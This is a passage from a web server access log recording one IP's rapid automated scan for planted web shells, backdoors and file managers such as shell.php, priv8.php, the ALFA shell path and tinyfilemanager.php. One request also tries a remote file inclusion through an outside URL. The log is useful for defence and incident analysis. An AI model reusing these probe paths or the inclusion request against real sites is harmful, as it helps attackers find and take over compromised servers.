- [18/Apr/2025:08:42:30 -0400] "GET /inputs.php?p=https://dunamisconcept.com.ng/item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:30 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:31 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:31 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:32 -0400] "GET /ispeconline.com/css/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:32 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:33 -0400] "GET /iz4kDodqPnH.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:33 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:33 -0400] "GET /jNY9.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:34 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:34 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:35 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:35 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:35 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:36 -0400] "GET /k.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:36 -0400] "GET /kNRianIr2EH.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:37 -0400] "GET /kPC.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:37 -0400] "GET /kQqh695R1LY.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:38 -0400] "GET /kZETIbO4Lt7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:38 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:39 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:40 -0400] "GET /lHcbBKS6ixn.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:40 -0400] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:41 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:41 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:42 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:43 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:43 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:44 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:44 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:44 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:45 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:46 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:46 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:47 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:47 -0400] "GET /login?next=/.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:48 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:48 -0400] "GET /lpuDivJrIO7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:49 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:49 -0400] "GET /luxx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:50 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:50 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:50 -0400] "GET /m.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:51 -0400] "GET /m5WcUgOwiIs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:51 -0400] "GET /m8DYVISz5fB.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:51 -0400] "GET /maHidu7t8ye.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:52 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:52 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:53 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:53 -0400] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:54 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:54 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:55 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:55 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:56 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:57 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:57 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:57 -0400] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:58 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:58 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:58 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:59 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:59 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:00 -0400] "GET /media/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:00 -0400] "GET /media/FgSEetRrDqi.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:01 -0400] "GET /media/Qfxs84PjD1c.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:01 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:02 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:02 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:03 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:03 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:03 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:04 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:04 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:05 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:05 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:06 -0400] "GET /museumbuildingandsurroundingspace.com HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:06 -0400] "GET /mwioWRjdxDE.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:06 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:07 -0400] "GET /nFqJSTvuz43.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:07 -0400] "GET /nVEDxSgpTYq.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:08 -0400] "GET /nZVms37xXMW.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:08 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:09 -0400] "GET /natural.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:09 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:09 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:10 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:10 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:11 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:11 -0400] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:11 -0400] "GET /nowpf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:12 -0400] "GET /nz7AOl3hjic.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:12 -0400] "GET /nzouv.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:13 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:13 -0400] "GET /o1j5SBMHlRz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:14 -0400] "GET /o7LSW.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:14 -0400] "GET /oRxHmTiQhWN.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:15 -0400] "GET /oUQD9iRdOhH.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:15 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:15 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:16 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:16 -0400] "GET /option-old.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:16 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:17 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:17 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:17 -0400] "GET /p HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:18 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:18 -0400] "GET /pHx9IqoXnlL.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:18 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:19 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:19 -0400] "GET /php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:20 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:20 -0400] "GET /php/?path=/home/jufu7693/public_html HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:20 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:21 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:21 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:21 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:22 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:22 -0400] "GET /pqyKOTiR2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:22 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:23 -0400] "GET /private/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:23 -0400] "GET /public/5.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:23 -0400] "GET /public/index.php/en HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:24 -0400] "GET /pvWDCdf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:24 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:25 -0400] "GET /q5nOTl9aAEQ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:25 -0400] "GET /qCVobSth3u7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:25 -0400] "GET /qc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:26 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:26 -0400] "GET /rO1GEuJydNZ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:27 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:27 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:27 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:28 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:28 -0400] "GET /rbh/log.ph HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:29 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:29 -0400] "GET /readme.php/wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:29 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:30 -0400] "GET /rk1W6vMJj8y.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:30 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:31 -0400] "GET /root/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:31 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:31 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:32 -0400] "GET /sHS.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:32 -0400] "GET /sMG.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:33 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:33 -0400] "GET /sb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:33 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:34 -0400] "GET /secure/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:34 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:35 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:35 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:36 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:36 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:36 -0400] "GET /shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:37 -0400] "GET /shell/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:37 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:37 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:38 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:38 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:39 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:39 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:39 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:40 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:40 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:40 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:41 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:41 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:42 -0400] "GET /simple/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:42 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:42 -0400] "GET /sitemap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:43 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:43 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:44 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:44 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:44 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:45 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:45 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:45 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:46 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:46 -0400] "GET /system//default.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:47 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:47 -0400] "GET /system_log.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:47 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:48 -0400] "GET /t4MyJ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:48 -0400] "GET /tB.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:48 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:49 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:49 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:50 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:50 -0400] "GET /templates/natural.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:50 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:51 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:51 -0400] "GET /test.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:52 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:52 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:53 -0400] "GET /tghuGZVrERD.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:53 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:53 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:54 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:54 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:55 -0400] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:55 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:55 -0400] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:56 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:56 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:56 -0400] "GET /tkpKSqOfFIE.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:57 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:57 -0400] "GET /tqy.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:57 -0400] "GET /tsRBxmo.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:58 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:58 -0400] "GET /ty.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:59 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:59 -0400] "GET /uWjxHmRO9AM.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:43:59 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:00 -0400] "GET /up.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:00 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:00 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:01 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:01 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:02 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:02 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:02 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:03 -0400] "GET /uploads/.1/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:03 -0400] "GET /uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:04 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:04 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:05 -0400] "GET /used HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:05 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:05 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:06 -0400] "GET /uvrDZ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:06 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:07 -0400] "GET /vSiY7GNIxVH.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:07 -0400] "GET /var/www/html/uploads/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:08 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:08 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:08 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:09 -0400] "GET /wcqLft7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:09 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:10 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:10 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:11 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:11 -0400] "GET 